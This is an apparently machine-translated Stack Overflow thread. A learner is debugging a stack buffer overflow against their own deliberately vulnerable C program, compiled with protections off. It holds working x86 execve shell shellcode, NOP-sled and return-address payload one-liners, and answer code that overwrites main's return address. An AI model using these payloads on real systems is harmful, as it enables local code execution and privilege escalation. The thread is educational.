![](/img/trans.png)
[英]why will my buffer overflow exploit open a user shell only instead of a root shell?
[英]Why is my stack buffer overflow exploit not working?
所以我有一個非常簡單的stackoverflow:
#include <stdio.h>
int main(int argc, char *argv[]) {
char buf[256];
memcpy(buf, argv[1],strlen(argv[1]));
printf(buf);
}
我正試圖溢出這段代碼:
$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*237 + 'c8f4ffbf'.decode('hex')")
當我溢出堆棧時,我成功地用我想要的地址覆蓋EIP但是沒有任何反應。 它不會執行我的shellcode。
有誰看到這個問題? 注意:我的python可能是錯誤的。
UPDATE
我不明白的是為什么我的代碼沒有執行。 例如,如果我將eip指向nops,那么nops永遠不會被執行。 像這樣,
$(python -c "print '\x90'*50 + 'A'*210 + '\xc8\xf4\xff\xbf'")
UPDATE
有人可以在linux x86上自己利用這個溢出並發布結果嗎?
UPDATE
沒關系,我把它弄好了。 感謝你的幫助。
UPDATE
好吧,我以為我做到了。 我確實得到了一個shell,但現在我又在嘗試,我遇到了問題。
我正在做的就是在開始時溢出堆棧並指向我的shellcode。
像這樣,
r $(python -c 'print "A"*260 + "\xcc\xf5\xff\xbf"')
這應該指向A的。 現在我不明白為什么我的地址最后在gdb中被改變了。
這就是gdb給我的,
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff5cd in ?? ()
\\ xcc變為\\ xcd。 這可能與我用gdb得到的錯誤有關嗎?
例如,當我用“B”填充該地址時,它可以使用\\ x42 \\ x42 \\ x42 \\ x42解決。 什么給出了什么?
任何幫助,將不勝感激。
另外,我正在使用以下選項進行編譯:
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o so so.c
這真的很奇怪,因為除了我需要的地址之外,任何其他地址都有效。
UPDATE
我可以在gdb中成功生成帶有以下內容的shell,
$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")
但是我不明白為什么它有時會起作用而在其他時候不起作用。 有時我的覆蓋eip會被gdb更改。 有誰知道我錯過了什么? 此外,我只能在gdb中spwan一個shell而不是正常的進程。 最重要的是,我似乎只能在gdb中啟動一次shell然后gdb停止工作。
例如,現在當我運行以下內容時,我在gdb中得到了這個...
Starting program: /root/so $(python -c 'print "A"*260 + "\xc8\xf4\xff\xbf"')
Program received signal SIGSEGV, Segmentation fault.
0xbffff5cc in ?? ()
這似乎是由execstack打開引起的。
UPDATE
是的,由於某種原因,我得到了不同的結果,但這個漏洞現在正在發揮作用。 謝謝大家的幫助。 如果有人能解釋我上面收到的結果,我會全力以赴。 謝謝。
對於直接來自編譯器的攻擊,有幾種保護措施。 例如,您的堆棧可能無法執行。
readelf -l <filename>
如果你的輸出包含這樣的東西:
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
這意味着你只能在堆棧上讀寫(所以你應該“返回libc”來生成你的shell)。
還有一個金絲雀保護,這意味着你的變量和指令指針之間有一部分內存,它包含一個檢查完整性的短語,如果它被你的字符串覆蓋,程序將退出。
如果您在自己的程序中嘗試此操作,請考慮使用gcc命令刪除一些保護:
gcc -z execstack
還有關於程序集的注釋,通常在shell代碼之前包含nops,因此您不必定位shell代碼啟動的確切地址。
$(python -c "print '\\x90'*37 +'\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80' + 'A'*200 + '\\xc8\\xf4\\xff\\xbf'")
請注意,在應放在指令指針內的地址中,您可以修改最后的十六進制數字以指向nops內的某個位置,而不一定位於緩沖區的開頭。
當然,如果你嘗試這樣的話, gdb
應該成為你最好的朋友。
希望這可以幫助。
這樣做不會太好[如書面說明]。 但是,這是可能的,所以請繼續閱讀......
有助於了解調用main
函數時實際的堆棧布局。 這比大多數人意識到的要復雜一些。
假設一個POSIX OS(例如linux),內核會將堆棧指針設置為固定地址。
內核執行以下操作:
它計算環境變量字符串需要多少空間(即所有環境變量的strlen("HOME=/home/me") + 1
,並在向下[朝向較低內存]方向將這些字符串“推”到堆棧上。然后它計算有多少(例如envcount
)並在堆棧上創建char *envp[envcount + 1]
並使用指向給定字符串的指針填充envp
值。它null終止此envp
對argv
字符串進行了類似的處理。
然后,內核加載ELF解釋器。 內核使用ELF解釋器的起始地址啟動進程。 ELF解釋器[最終]調用“start”函數(例如來自crt0.o
_start
),它執行一些init然后調用main(argc,argv,envp)
這是[類型]當main
被調用時堆棧的樣子:
"HOME=/home/me"
"LOGNAME=me"
"SHELL=/bin/sh"
// alignment pad ...
char *envp[4] = {
// address of "HOME" string
// address of "LOGNAME" string
// address of "SHELL" string
NULL
};
// string for argv[0] ...
// string for argv[1] ...
// ...
char *argv[] = {
// pointer to argument string 0
// pointer to argument string 1
// pointer to argument string 2
NULL
}
// possibly more stuff put in by ELF interpreter ...
// possibly more stuff put in by _start function ...
在x86
, argc
, argv
和envp
指針值被放入x86
ABI的前三個參數寄存器中。
這是問題[問題,復數,實際上] ......
所有這一切都完成之后,你幾乎不知道shell代碼的地址是什么。 因此,您編寫的任何代碼都必須是RIP相對尋址,並且[可能]使用-fPIC
構建。
並且,結果代碼中間不能有零字節,因為這[由內核]作為EOS終止字符串傳送。 因此,一個具有零的字符串(例如<byte0>,<byte1>,<byte2>,0x00,<byte5>,<byte6>,...
)只會傳輸前三個字節而不是整個shell代碼程序。
你也不知道堆棧指針的值是什么。
另外,你需要找到 在它的返回地址(即這是啟動功能的什么堆棧中的存儲器字call main
匯編指令將)。
包含返回地址的單詞必須設置為shell代碼的地址。 但是,它並不總是具有相對於main
堆棧幀變量(例如buf
)的固定偏移量。 因此,您無法預測要修改的堆棧上的哪個單詞以獲得“返回shellcode”效果。
此外,在x86
架構上,還有一些特殊的緩解硬件。 例如,頁面可以標記為NX
[無執行]。 這通常針對某些段(例如堆棧)完成。 如果RIP更改為指向堆棧,則硬件將發生故障。
這是[簡單]解決方案......
gcc
有一些可以提供幫助的內在函數: gcc
__builtin_return_address
, gcc
__builtin_frame_address
。
因此,從內在函數中獲取實際返回地址的值[call this retadr
]。 獲取堆棧幀的地址[調用此fp
]。
從fp
開始並遞增(通過sizeof(void*)
)向更高的內存,找到與retadr
匹配的retadr
。 此內存位置是您要修改以指向shell代碼的位置。 它可能會偏移0或8
那么,那么做: *fp = argv[1]
並返回。
注意,可能需要額外的步驟,因為如果堆棧設置了NX
位,則argv[1]
指向的字符串如上所述位於堆棧上。
以下是一些有效的示例代碼:
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
void
shellcode(void)
{
static char buf[] = "shellcode: hello\n";
char *cp;
for (cp = buf; *cp != 0; ++cp);
// NOTE: in real shell code, we couldn't rely on using this function, so
// these would need to be the CPP macro versions: _syscall3 and _syscall2
// respectively or the syscall function would need to be _statically_
// linked in
syscall(SYS_write,1,buf,cp - buf);
syscall(SYS_exit,0);
}
int
main(int argc,char **argv)
{
void *retadr = __builtin_return_address(0);
void **fp = __builtin_frame_address(0);
int iter;
printf("retadr=%p\n",retadr);
printf("fp=%p\n",fp);
// NOTE: for your example, replace:
// *fp = (void *) shellcode;
// with:
// *fp = (void *) argv[1]
for (iter = 20; iter > 0; --iter, fp += 1) {
printf("fp=%p %p\n",fp,*fp);
if (*fp == retadr) {
*fp = (void *) shellcode;
break;
}
}
if (iter <= 0)
printf("main: no match\n");
return 0;
}
嘗試執行堆棧緩沖區溢出時,我遇到了類似的問題。 我發現我在GDB中的返回地址與正常流程中的返回地址不同。 我做的是添加以下內容:
unsigned long printesp(void){
__asm__("movl %esp,%eax");
}
並且在Return
之前在主右邊的末尾調用它以了解堆棧的位置。 從那里我剛剛玩了這個值從打印的ESP減去4直到它工作。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.